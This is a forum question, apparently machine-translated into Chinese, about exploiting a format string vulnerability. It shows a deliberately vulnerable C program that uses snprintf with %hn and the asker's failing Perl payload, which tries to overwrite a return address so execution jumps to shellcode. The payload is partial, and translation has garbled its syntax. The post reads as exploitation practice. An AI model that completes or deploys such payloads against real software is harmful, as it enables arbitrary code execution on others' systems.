我正在尝试使用格式字符串漏洞利用。我有一个在 snprintf() 处易受攻击的 ac 程序,如下所示。我也有一个我想跳到的 shellcode。我的 shellcode 位于地址 xbffff1c4,返回地址的指针位于 x080486a4。这是程序的易受攻击的部分:
#define maxiargl 128
#include <stdlib.h>
#include <stdio.h>
static void usage(const char *sname)
{
fprintf(stderr, "Usage: %s <file>\n", sname);
fprintf(stderr, " where <file> is the file of interest\n");
}
static void argumCh(char *arg1, char *arg2)
{
char argum2[maxiargl], argum1[maxiargl];
int str1, str2;
// vunerable code
str1 = snprintf(argum1, sizeof argum1, "%s%d%d%d%c%hn", arg1);
str2 = snprintf(argum2, sizeof argum2, "%s%d%d%d%c%hn", arg2);
if(str1 >= maxiargl)
str1 = maxiargl - 1;
argum1[str1] = '\0';
if(str2 >= maxiargl)
str2 = maxiargl - 1;
argum2[str2] = '\0';
printf("Arguments: '%s', '%s'\n", argum1, argum2);
}
int main(int argc, char **argv)
{
if(argc > 2) {
usage(argv[0]);
argumCh(argv[1], argv[2]);
exit(EXIT_FAILURE);
}
return 0;
}
这是我的利用代码
perl -e '打印"\xc4\xf1\xff\xbf"; 打印“a”;打印“a”;打印“a”;打印“a”x61885'
注意这里我写的是地址xbffff1c4。f1c4=61885+7 字节但是这不起作用。我想知道如何指定我想写的地址,因为在这里我可以指定我正在写的地址。如果有人可以帮助我,我会非常感激